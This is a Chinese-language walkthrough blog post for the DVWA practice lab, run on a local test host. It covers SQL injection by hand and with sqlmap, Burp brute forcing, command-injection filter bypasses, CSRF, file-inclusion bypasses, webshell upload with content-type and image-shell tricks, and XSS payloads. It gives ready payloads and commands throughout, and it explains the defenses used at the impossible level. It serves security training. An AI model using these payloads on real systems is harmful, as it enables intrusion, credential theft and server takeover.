首页 > 其他分享 >DVWA靶场通关教程

DVWA靶场通关教程

时间:2024-07-20 14:17:56浏览次数:14  
标签:爆破 Submit -- dvwa 漏洞 cookie DVWA 靶场 通关

一:SQL injection(回显-手工)

low

1、漏洞复现
(1)首先提交正常的数据,看是否有回显
image
(2)使用order by 判断有多少列 1' order by 2# 当为3的时候会出现错误
image
image
(3)判断显示位,有哪几个列是显示出来的(两个列都显示)
1' union select 1,2#
image
使用union查询会出现这个问题
image
解决方法:找到mysql.php,在在{$_DVWA[ 'db_database' ]} 后添加内容 COLLATE utf8_general_ci,就可以解决这个问题
image
(4)根据回显列数构造SQL语句,爆破数据库名称
1' union select database(),user()# 注释:爆破数据库database(),爆破当前用户user()
image
根据数据库名爆破表tables
1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' # 注释:从information_schema.tables表当中查找 table_name,table_schema这两个字段,条件为table_schema='dvwa',从DVWA数据库当中查找
image
根据表爆破字段名columns
1’ union select 1 , group_concat(column_name) from information_schema.columns where table_name = ‘users’ # 注释:从uses表中查找字段
image
根据字段名称爆破内容dump
1' union select user,password from users # 注释:从users表中查找字段为user和password字段中的内容
image

medium

请参考下面sql盲注如何使用sqlmap注入,步骤相同,此处不做过多赘述!

high

请参考下面sql盲注如何使用sqlmap注入,步骤相同,此处不做过多赘述!

二:SQL injection(盲注-工具)

low

1、漏洞复现
(1)爆破数据库dbs
-u 指定存在注入点的网址
--cookie 指定cookie
image
--batch 自动化爆破
-dbs 指定爆破当前数据库
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=low" --batch -dbs
image
(2)以dvwa数据库为例子,爆破表名tables
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=low" --batch -D dvwa -tables
image
(3)以users表为例,爆破字段columns
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=low" --batch -D dvwa -T users -columns
image
(4)根据爆破出来的字段user,password,爆破对应的内容dump
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=low" --batch -D dvwa -T users -C user,password -dump
image

medium

1、漏洞复现
(1)爆破数据库dbs
爆破数据库名称,发现url中没有提交的数据,为post提交方式,增加--data参数
image
查看cookie
image
开始爆破
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=medium" --data "id=1&Submit=Submit#" --batch -dbs
image
image
(2)增加了--data参数之后就和low等级一样了,爆破表名tables
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=medium" --data "id=1&Submit=Submit#" --batch -D dvwa -tables
image
(3)爆破字段名称columns
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=medium" --data "id=1&Submit=Submit#" --batch -D dvwa -T users -columns
image
(4)爆破对应字段的内容dump
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=medium" --data "id=1&Submit=Submit#" --batch -D dvwa -T users -C user,password -dump
image

high

1、漏洞复现
与medium不同的是输入查询信息在弹窗中输入,而数据显示在原窗口显示,在增加-data参数的基础上增加second-url(dvwa靶场上的url)参数即可绕过,-u(这个是弹出来的url的链接)
image
重新获取cookie
image
(1)爆破数据库dbs
image
python sqlmap.py -u "192.168.213.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit#" --second-u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=high" --batch -dbs
image
(2)爆破表名tables
image
python sqlmap.py -u "192.168.213.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit#" --second-u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=high" --batch -D dvwa -tables
image
(3)爆破字段名columns
image
python sqlmap.py -u "192.168.213.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit#" --second-u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=high" --batch -D dvwa -T users -columns
image
(4)爆破对应字段的内容dump(最后一个爆破过程非常的慢,因为是盲注)
image
python sqlmap.py -u "192.168.213.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit#" --second-u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=high" --batch -D dvwa -T users -C user,password -dump
image

三:Brute force(暴力破解)

low

1、分析后端代码
low等级的只是把输入的username和password放到数据库进行匹配查询然后返回结果、并没有做任何的限制、只要dict强大,就可以跑出来
image
2、漏洞复现
(1)随便输入username和password
image
(2)bp抓包将数据包发送到intruder爆破模块
image
(3)设置攻击攻击载荷(username和password),选择攻击类型Cluster bamb
image
Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破
(4)配置攻击字典,开始爆破,爆破完之后根据length的长度筛选结果
image
查看响应发现爆破成功了
image

medium

1、分析后端代码
判断是否有GET参数login,然后对输入的username和password进行了数据库查询、返回响应结果、唯一不同的就是在登录失败后会执行sleep(2),让程序休眠两秒,但是只要dict够强大,还是能跑出来的,只是花费的时间变长了
image

high

1、分析后端代码
sleep(rand(0,3)),最重要的就是增加了session_token,每次登录需要检查session_token
image
2、漏洞复现
(1)假设已知用户名admin、只需爆破密码(便于测试)
输入admin、密码随意、进行抓包、发送到爆破模块intruder
image
(2)选中password变量和token变量,然后选择Pichfork攻击类型(参考上述解释)
image
(3)设置password载荷的参数,添加字典
image
(4)设置token参数
在options中将线程数修改为1(token是每次验证完之后才会生成新的token )
image
下滑找到Grep-Extract(这里是为了从我们的请求中提取到token,分辨特征,以便为每个密码找到对应的token)
image
点击添加,在弹出的界面中点击获取回复
image
image
回到载荷页面,设置token攻击参数,载荷攻击类型改为recursive grep(该类型只能单线程爆破,需要在options中将线程设置为1)
image
image
设置完毕,开始爆破
![image](/i/l/?n=24&i=blog/3300136/202407image

impossible

1、后端代码分析
使用了failed_login字段来记录每个用户的失败登录次数,如果失败登录次数达到设定的阈值,则会锁定用户账户一段时间,如果用户的失败登录次数达到阈值,系统会计算并比较最后一次登录时间与当前时间之间的间隔,如果未到达设定的锁定时间 $timeout,系统会将账户锁定标记为真,并拒绝登录尝试,在登录失败的情况下,代码使用 sleep( rand( 2, 4 ) ) 函数引入了一个随机的短暂延迟对于登录失败的情况,代码明确地告知用户用户名或密码错误,或者账户由于失败登录次数过多而被锁定。

四:command injection(命令注入)

low

1、常用的系统命令(Windows/Linux)
image
2、后端代码分析
检查是否有POST型参数Submit;然后获取用户的输入,利用shell_exec()远程执行函数执行ping命令,并将结果返回给用户
image
3、漏洞复现
(1)先导知识
使用命令连接符号进行命令注入
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令
(2)示例:
image
(3)乱码问题如何解决?
找到dvwaPage.inc.php文件,修改文件中的编码格式,将utf-8修改为GBK
image
image
显示正常
image

medium

1、后端代码分析
对命令连接符进行了过滤,但是没有过滤完全,可以使用其他的命令连接符
image
2、漏洞复现
image

high

1、后端代码分析
发现还是一样的套路,也是过滤字符但过滤得更多了。但仔细观察发现有一个过滤是’| ‘,注意这个过滤是加了空格的,说明这个过滤其实是没用的,只需要’|’后面直接加入参数,不保留空格,我们依然可以用这个命令连接符进行命令注入
image
2、漏洞复现
使用' |dir'命令连接符进行攻击
image

impossible

1、原理分析
使用is_numeric()函数验证输入的ip地址是否位数字,然后使用explode()函数将IP地址分割为4部分,然后在验证4个部分是否为数字,确保了IP地址仅包含数字
2、后端代码分析
后端代码增加了token随机值的验证,首先进行检查token和session token的值是否相同,然后去除ip地址中的反斜杠,并且将IP地址拆分成四个部分,进行进一步的过滤和检查,如果是单纯的数字,则将拆分的IP地址重新拼接,进而继续后续的操作,is_numeric()用于检测用户输入的是否为数字或者数字字符串,不难看出该方法对输入的IP地址做了合法的验证,只有输入符合IPV4格式才能被正常的执行,排除了一切可以注入其他命令的可能,安全型方面得到了大幅度提升。

五:CSRF(跨站请求伪造)

low

1、后端代码分析
源码中只对传入的密码和确认密码进行比较,两者一致则执行更改密码命令成功返回Password Change,不一致则返回Passwords did not match,没有任何过滤,所以能轻易执行csrf漏洞
image
2、漏洞复现
网站的本意是在网站内更改密码,而我通过控制url的传参就能使我能在网站之外执行更改密码的操作
image
更改密码之后,URL参数发生变化
分析出password_new是我输入的密码,password_conf是我确认的密码,说明我们在网站上输入的信息是会在url栏这里进行一个传输执行
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
image
修改URL参数,将原本的密码123456修改为456789
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=456789&password_conf=456789&Change=Change#
将URL放置到搜索框中,点击回车,发现密码发生更改了
image

medium

1、后端代码分析
和Low等级比较发现,只有一处改变,即在传入密码和确认密码参数前先进行了一个if语句的判断,判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的,若不是就不执行后面的操作
image
2、漏洞复现
通过bp抓包(自己修改密码,正常情况)获取数据包,这时候数据包是有referer的,然后复制referer,构造url修改密码,通过bp抓包,然后把抓到的数据发给重发器,然后把referer复制过来,进行发送会发现密码已经成功修改
正常的数据包
image
构造的恶意URL的数据包
image
通过重发数据包,增加referer的值,成功绕过了对referer的过滤(同源策略),当然也可以修改当前访问页面的名字,改为域名.html也可以实现修改密码的功能

high

1、后端代码分析
可以看出high等级的主要区别是增加了一个token值的校验,每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token
image
2、漏洞复现
这里为了方便,就假设我通过xss存储型漏洞获得了token,而将token拼接到medium等级的表单中完成攻击
获得的token:20f07053354bf93a94e3bb45e2923312
image
image
攻击完成
image

六:file inclusion(文件包含)

low

1、后端代码分析
将文件名传参给page参数
image
2、漏洞复现
访问页面,显示allow_url_include 没有开启,我们可以在配置里面开启,allow_url_include参数表示可以远程利用文件包含漏洞
image
通过访问1.php,2.php, 3.php会返回不同的内容,同时会将文件名传参给page参数
image
对page传参为http://127.0.0.1/1.php(成功的解析)
image

medium

1、后端代码分析
因为后端代码对如果传参值中有http:// https:// …/ …\都将替换为空
如果传入的是htthttp://p://127.0.0.1/1.php,就可以成功的解析了
image
2、漏洞复现
对page传参为http://127.0.0.1/1.php,出现了报错
image
因为后端代码对如果传参值中有http:// https:// …/ …\都将替换为空
如果传入的是htthttp://p://127.0.0.1/1.php,就可以成功的解析了
image

high

1、后端代码分析
关键代码为 使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件
image
2、漏洞复现
可利用file协议进行读文件
image

七:file upload(文件上传)

low

1、后端代码分析
检查是否有上传文件的POST请求,然后设置上传目标路径,移动上传的文件到目标路径,并没有做任何的安全措施
image
2、漏洞复现
关闭防火墙的实时保护(防止一句话木马被防火墙杀掉)
image
image
制作一句话木马,然后上传一句话木马
image
上传
image
使用websell工具连接,拿下服务器权限
image
image

medium

1、后端代码分析
查看源码发现对上传的文件进行了一些过滤措施,限制了上传文件的大小,并且要求上传文件的类型必须是jpg或者png类型,我们可以通过bp抓包修改content-type的值为允许的字段就可以绕过前端验证
image
2、漏洞复现
首先上传正常允许的文件,获取content-type的值(jpg)
image
上传一句话木马,修改content-type的值,绕过前端验证
image
将application/octet-stream修改为image/png就可以绕过前端验证了
image
上传成功
image

high

1、后端代码分析
使用getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型
image
2、漏洞复现
使用cpoy命令生成图片马;讲一句话木马隐藏在图片中
image
发现一句话木马还是隐藏在jpg图片当中
image
上传jpg图片
image
利用命令执行漏洞将3.jpg图片修改为shell.php
127.0.0.1|move …/…/hackable/uploads/3.jpg …/…/hackable/uploads/shell.php
image
使用蚁剑进行连接,拿下服务器权限
image

impossible

1、后端代码分析
会对上传的文件的内容进行检测,如果不符合则上传失败;可以研究隐写技术结合这个漏洞实现文件上传
image

八:XSS(DOM、反射、存储)

一:DOM型

low

1、后端代码分析
后端无任何PHP代码,执行命令只有客户端的JS代码
image
2、漏洞复现
点击English
image
执行js脚本
image

medium

1、后端代码分析
对script进行了过滤
image
2、漏洞复现
构造闭合执行js脚本
></option></select><img src=1 one rror=alert(/xss/)>
image

high

1、后端代码分析
就是设置了白名单,只有白名单之内的内容才可以被执行
image
2、漏洞复现
构造闭合
# ></option></select><img src=1 one rror=alert(/xss/)>
image

二:反射型

low

1、后端代码分析
就是判断了一下name是否为空,不为空直接就输出hello+name的信息
image
2、漏洞复现
在输入框中输入js简单的获取cookie的脚本
<script>alert(document.cookie)</script>
image

medium

1、后端代码分析
使用str_replace函数把标签替换为空,可以通过大小写,双写,编码进行绕过替换函数
image
2、漏洞复现
构造js脚本
image

high

1、后端代码分析
已经对script标签进行了严格的过滤,尝试使用别的标签进行注入
image
2、漏洞复现
构造js脚本
<img src=1 one rror=alert(/xss/)>
image

三:存储型

和反射性的过程基本一致,此处就不过多的赘述了!
XSS总结:后端代码使用htmlspecialchars()函数将html特殊的字符转化为实体,这样js脚本就没有可以执行的地方了,自然就不会从在XSS漏洞了

标签:爆破,Submit,--,dvwa,漏洞,cookie,DVWA,靶场,通关
From: https://www.cnblogs.com/gsupl/p/18291625

相关文章

  • DC-2靶机通关
        最近一段时间我将会持续更新DC系列的靶机通关过程,大家如果也有正在玩儿这些靶机的可以关注一下作者,欢迎大家一起讨论学习!!!        1.实验环境:攻击机:kali2023.2靶机:DC-22.1扫描网段内的主机:2.2扫描靶机开放端口等信息:这里可以发现主机开放了两个端口一......
  • 视频讲解是考研英语通关路上的得力助手
    在考研这场漫长而艰辛的征途中,英语作为必考科目之一,往往成为许多考生心中的“拦路虎”。面对浩如烟海的词汇、复杂多变的句型结构以及灵活多样的考试题型,如何高效备考,成为了每位考研学子必须面对的问题。而在这个过程中,视频讲解作为一种直观、生动且互动性强的学习方式,正逐渐成为......
  • dvwa文件上传漏洞低级,中级,以及高级的难度测试(手把手教会你文件上传)
    在开始之前我们得先了解什么是文件上传漏洞,为什么会产生漏洞?以及文件上传漏洞有什么危害?文件上传漏洞顾名思义是指开发者或者程序员在开发网站的时候没有对用户上传的文件进行识别和过滤,因为很多网站提供的功能比较多,比如前台用户注册上传头像,允许上传图片,视频等等,没有做很好......
  • 25届华为机考笔试考的啥?如何通过机试|附全岗位真题库通关攻略
    职小豚一、华为公司介绍以及招聘信息嗨,各位小伙伴们!今天咱们来聊聊科技界的巨头——华为。华为,成立于1987年,总部位于中国深圳。经过多年的拼搏与发展,如今已成为全球领先的信息与通信技术(ICT)解决方案供应商。华为的业务范围那叫一个广泛,涵盖了电信运营商、企业、终端和......
  • 揭秘中国移动笔试内容,刷题攻略公开!真题通关秘籍助你笔试无忧
    大家好,我是职小豚,一个致力于帮助大家顺利通关各类职业笔试的“老司机”。今天,我要和大家分享的是如何找到中国移动笔试题库,并深入探讨刷题的效果,同时还会附上我精心整理的中国移动笔试攻略和真题通关秘籍!一、为什么要刷中国移动笔试题?中国移动作为国内通信行业的巨头,其招......
  • 新手打 XSS-level(1-13) 靶场心得和总结
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言二、解题思路第一关:无过虑机制第二关:闭合标签第三关:单引号闭合+添加事件第四关:双引号闭合+添加事件第五关:不同标签的尝试(新建标签)第六关:大小写绕过第七关:直接将script关键字过滤掉(双写绕过)第......
  • PolarD&N-CTF靶场web通关记录
    新人尝试,还请见谅!!!web简单swp进题先扫dirsearch然后发现了一个叫做/.index.php.swp的备份文件。访问/.index.php.swp这时我们需要post一个名为xdmtql的变量,然后这个变量不能是数组。不能与/sys.nb/is正则匹配。但是结果的sysnb要在第一位。但是结果的sysnb要在第一位。......
  • 文件上传漏洞靶场(1-10)
    第一关(js绕过)先建立一个php文件,内容如下:<?phpphpinfo();?>题目要求是上传一个webshell到服务器,上传一个php文件提示错误第一种思路查看源代码,可以发现有一个checkFile()函数,用来检查上传文件类型,想要成功上传.php文件,第一个思路就可以是删除这一部分,让其无法检查上......
  • XSS靶场——通关笔记
    第一关页面很简单,可以发现通过修改url中level1.php?name后面的字段,页面会改变,显示该字段的总长再查看源代码,根据源代码可知当有个弹窗就会执行函数,最后得到我们想要的“完成的不错”<script>alert(111)</script>第二关第二关似乎和第一关一样,不确定,试试同样的代码在......
  • vulnstack1靶场学习
    描述红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线......